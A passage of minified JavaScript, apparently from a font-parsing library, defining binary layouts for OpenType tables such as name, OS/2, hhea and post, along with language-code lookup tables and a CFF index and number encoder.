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QACR,MAAQ,QACR,KAAQ,QACR,KAAQ,MACR,KAAQ,QACR,KAAQ,MACR,KAAQ,QACR,KAAQ,KACR,MAAQ,QACR,MAAQ,QACR,KAAQ,KACR,KAAQ,MACR,MAAQ,QACR,KAAQ,QACR,KAAQ,QACR,KAAQ,KACR,MAAQ,QACR,KAAQ,KACR,KAAQ,QACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,UACR,KAAQ,KACR,KAAQ,KACR,MAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,MAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,MACR,KAAQ,QACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,UACR,KAAQ,QACR,KAAQ,QACR,KAAQ,MACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,MACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,SACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,MACR,KAAQ,MACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,QACR,KAAQ,UACR,KAAQ,KACR,KAAQ,UACR,KAAQ,KACR,KAAQ,KACR,KAAQ,QACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,MACR,KAAQ,KACR,KAAQ,MACR,KAAQ,KACR,KAAQ,SACR,KAAQ,KACR,KAAQ,KACR,KAAQ,KACR,KAAQ,MACR,KAAQ,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